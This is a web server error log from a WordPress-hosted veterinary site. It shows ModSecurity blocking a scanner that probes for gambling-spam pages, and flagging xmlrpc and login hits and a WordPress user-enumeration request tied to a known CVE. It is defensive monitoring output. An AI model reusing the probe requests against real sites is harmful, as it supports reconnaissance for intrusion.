[Sun Feb 01 08:13:25.822875 2026] [:error] [pid 10508:tid 10565] [client 51.68.34.57:52684] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aX6apQFwdoMQv5EWp9uNdQAAAFU"]
[Sun Feb 01 08:13:27.510794 2026] [:error] [pid 10616:tid 10624] [client 51.68.34.57:52698] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aX6ap2d8pZdmVx6pUp4T7QAAAMQ"]
[Sun Feb 01 08:13:28.548544 2026] [:error] [pid 10509:tid 10583] [client 51.68.34.57:39386] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aX6aqFMNpJBihOJgwVsPUgAAAIw"]
[Sun Feb 01 08:13:30.060311 2026] [:error] [pid 2033:tid 2039] [client 51.68.34.57:39394] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aX6aqvF7B4oR5nK3T_M40wAAAQQ"]
[Sun Feb 01 08:13:31.072970 2026] [:error] [pid 10506:tid 10519] [client 51.68.34.57:39400] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aX6aq632IC2Db4uwFyPEagAAAAM"]
[Sun Feb 01 08:13:32.645260 2026] [:error] [pid 10509:tid 10578] [client 51.68.34.57:33004] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aX6arFMNpJBihOJgwVsPXAAAAIc"]
[Sun Feb 01 08:13:33.566192 2026] [:error] [pid 10509:tid 10587] [client 51.68.34.57:33010] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aX6arVMNpJBihOJgwVsPXgAAAJA"]
[Sun Feb 01 08:13:35.251033 2026] [:error] [pid 10616:tid 10639] [client 51.68.34.57:33022] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aX6ar2d8pZdmVx6pUp4T-gAAANM"]
[Sun Feb 01 08:13:36.318198 2026] [:error] [pid 2033:tid 2044] [client 51.68.34.57:33024] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aX6asPF7B4oR5nK3T_M44QAAAQk"]
[Sun Feb 01 08:13:38.050770 2026] [:error] [pid 10508:tid 10551] [client 51.68.34.57:33028] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aX6asgFwdoMQv5EWp9uNiAAAAEc"]
[Sun Feb 01 08:13:38.967202 2026] [:error] [pid 10616:tid 10627] [client 51.68.34.57:33040] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aX6asmd8pZdmVx6pUp4UAQAAAMc"]
[Sun Feb 01 08:13:40.982473 2026] [:error] [pid 2033:tid 2041] [client 51.68.34.57:33042] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aX6atPF7B4oR5nK3T_M47gAAAQY"]
[Sun Feb 01 08:13:41.482317 2026] [:error] [pid 10509:tid 10583] [client 51.68.34.57:33058] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aX6atVMNpJBihOJgwVsPagAAAIw"]
[Sun Feb 01 08:13:43.945988 2026] [:error] [pid 10506:tid 10517] [client 51.68.34.57:35110] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aX6at632IC2Db4uwFyPEcwAAAAE"]
[Sun Feb 01 08:13:44.187029 2026] [:error] [pid 10616:tid 10639] [client 51.68.34.57:35094] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aX6auGd8pZdmVx6pUp4UCAAAANM"]
[Sun Feb 01 08:13:46.507190 2026] [:error] [pid 10616:tid 10625] [client 51.68.34.57:35118] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aX6aumd8pZdmVx6pUp4UDQAAAMU"]
[Sun Feb 01 08:13:47.358459 2026] [:error] [pid 10506:tid 10524] [client 51.68.34.57:35126] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aX6au632IC2Db4uwFyPEdQAAAAg"]
[Sun Feb 01 08:13:49.167794 2026] [:error] [pid 10508:tid 10548] [client 51.68.34.57:35134] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aX6avQFwdoMQv5EWp9uNmQAAAEQ"]
[Sun Feb 01 08:13:50.698250 2026] [:error] [pid 10509:tid 10587] [client 51.68.34.57:35136] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "aX6avlMNpJBihOJgwVsPewAAAJA"]
[Sun Feb 01 08:13:51.671747 2026] [:error] [pid 10509:tid 10572] [client 51.68.34.57:35140] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "aX6av1MNpJBihOJgwVsPgAAAAIE"]
[Sun Feb 01 08:13:54.023807 2026] [:error] [pid 10506:tid 10519] [client 51.68.34.57:55108] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aX6awq32IC2Db4uwFyPEfAAAAAM"]
[Sun Feb 01 08:13:54.086672 2026] [:error] [pid 10616:tid 10642] [client 51.68.34.57:55122] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aX6awmd8pZdmVx6pUp4UGQAAANY"]
[Sun Feb 01 08:13:56.685818 2026] [:error] [pid 10509:tid 10574] [client 51.68.34.57:55132] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aX6axFMNpJBihOJgwVsPiQAAAIM"]
[Sun Feb 01 08:13:57.522138 2026] [:error] [pid 10616:tid 10626] [client 51.68.34.57:55136] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aX6axWd8pZdmVx6pUp4UJwAAAMY"]
[Sun Feb 01 08:13:59.332547 2026] [:error] [pid 2033:tid 2060] [client 51.68.34.57:55140] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aX6ax_F7B4oR5nK3T_M5JwAAARU"]
[Sun Feb 01 08:14:00.589114 2026] [:error] [pid 10506:tid 10532] [client 51.68.34.57:55154] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aX6ayK32IC2Db4uwFyPEhQAAABA"]
[Sun Feb 01 08:14:01.817443 2026] [:error] [pid 2033:tid 2064] [client 51.68.34.57:56852] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aX6ayfF7B4oR5nK3T_M5KQAAARc"]
[Sun Feb 01 08:14:04.229958 2026] [:error] [pid 10508:tid 10550] [client 51.68.34.57:56866] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aX6azAFwdoMQv5EWp9uNogAAAEY"]
[Sun Feb 01 08:14:04.403085 2026] [:error] [pid 10508:tid 10563] [client 51.68.34.57:56876] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aX6azAFwdoMQv5EWp9uNowAAAFM"]
[Sun Feb 01 08:14:06.973985 2026] [:error] [pid 10508:tid 10566] [client 51.68.34.57:56888] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aX6azgFwdoMQv5EWp9uNpwAAAFY"]
[Sun Feb 01 08:14:07.544426 2026] [:error] [pid 10616:tid 10622] [client 51.68.34.57:56900] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aX6az2d8pZdmVx6pUp4UNwAAAMI"]
[Sun Feb 01 08:14:09.630894 2026] [:error] [pid 10506:tid 10522] [client 51.68.34.57:56906] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aX6a0a32IC2Db4uwFyPEjQAAAAY"]
[Sun Feb 01 08:14:11.002082 2026] [:error] [pid 10509:tid 10589] [client 51.68.34.57:56916] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aX6a01MNpJBihOJgwVsPmQAAAJI"]
[Sun Feb 01 08:14:12.200278 2026] [:error] [pid 2033:tid 2064] [client 51.68.34.57:44264] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aX6a1PF7B4oR5nK3T_M5OwAAARc"]
[Sun Feb 01 08:14:14.637615 2026] [:error] [pid 2033:tid 2052] [client 51.68.34.57:44270] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aX6a1vF7B4oR5nK3T_M5RgAAARE"]
[Sun Feb 01 08:14:15.102796 2026] [:error] [pid 10509:tid 10576] [client 51.68.34.57:44280] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aX6a11MNpJBihOJgwVsPnAAAAIU"]
[Sun Feb 01 08:14:17.231345 2026] [:error] [pid 10616:tid 10625] [client 51.68.34.57:44294] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aX6a2Wd8pZdmVx6pUp4URAAAAMU"]
[Sun Feb 01 08:14:18.563609 2026] [:error] [pid 10616:tid 10642] [client 51.68.34.57:44302] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aX6a2md8pZdmVx6pUp4URQAAANY"]
[Sun Feb 01 08:14:19.819979 2026] [:error] [pid 10509:tid 10581] [client 51.68.34.57:44304] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aX6a21MNpJBihOJgwVsPpQAAAIo"]
[Sun Feb 01 08:14:22.441604 2026] [:error] [pid 10508:tid 10554] [client 51.68.34.57:56812] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aX6a3gFwdoMQv5EWp9uNyAAAAEo"]
[Sun Feb 01 08:14:22.513038 2026] [:error] [pid 2033:tid 2043] [client 51.68.34.57:56820] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aX6a3vF7B4oR5nK3T_M5TgAAAQg"]
[Sun Feb 01 08:14:51.619464 2026] [:error] [pid 2033:tid 2044] [client 51.68.34.57:56840] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aX6a-_F7B4oR5nK3T_M5hwAAAQk"]
[Sun Feb 01 08:14:54.844890 2026] [:error] [pid 2033:tid 2069] [client 51.68.34.57:47656] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aX6a_vF7B4oR5nK3T_M5jAAAARg"]
[Sun Feb 01 08:14:57.903057 2026] [:error] [pid 10509:tid 10577] [client 51.68.34.57:47672] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aX6bAVMNpJBihOJgwVsP4QAAAIY"]
[Sun Feb 01 08:15:01.670501 2026] [:error] [pid 2033:tid 2037] [client 51.68.34.57:47688] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aX6bBfF7B4oR5nK3T_M5lwAAAQI"]
[Sun Feb 01 13:54:29.304195 2026] [ssl:error] [pid 2033:tid 2064] [client 107.173.171.201:42952] AH02032: Hostname www.macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup, referer: http://www.macfieldsvet.com.au/
[Sun Feb 01 19:22:22.096967 2026] [:error] [pid 10506:tid 10531] [client 188.166.211.145:63088] [client 188.166.211.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.166.211.145, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aX83bq32IC2Db4uwFyONhQAAAA8"], referer: https://www.maafushi.mv//blog//wp-login.php
[Sun Feb 01 19:22:25.161753 2026] [:error] [pid 10506:tid 10523] [client 188.166.211.145:63088] [client 188.166.211.145] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aX83ca32IC2Db4uwFyONigAAAAc"], referer: https://www.maafushi.mv//blog//wp-login.php
[Sun Feb 01 19:22:28.895127 2026] [:error] [pid 10506:tid 10519] [client 188.166.211.145:63088] [client 188.166.211.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.166.211.145, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aX83dK32IC2Db4uwFyONjwAAAAM"]
[Sun Feb 01 19:22:33.297633 2026] [:error] [pid 51610:tid 51637] [client 188.166.211.145:63375] [client 188.166.211.145] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.166.211.145, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aX83ed7GFdNFAqImMQAODwAAAVc"], referer: https://vetstars.com.au//wp-login.php
[Sun Feb 01 21:55:54.289097 2026] [:error] [pid 41454:tid 41471] [client 182.42.104.32:42579] [client 182.42.104.32] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aX9baoSGhfKfZM9FAk2ykwAAAc8"]
[Mon Feb 02 00:16:45.396648 2026] [:error] [pid 8965:tid 8975] [client 34.123.24.137:51330] [client 34.123.24.137] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.123.24.137, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aX98beNHEHhgRhn3G7RM3QAAAwc"]
[Mon Feb 02 00:16:45.676877 2026] [:error] [pid 8780:tid 8800] [client 34.123.24.137:51395] [client 34.123.24.137] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.123.24.137, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aX98baG6IrMzWSzSdUfNFwAAAk8"]
[Mon Feb 02 00:16:48.432371 2026] [:error] [pid 8965:tid 8982] [client 34.123.24.137:51330] [client 34.123.24.137] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aX98cONHEHhgRhn3G7RM4QAAAw4"]
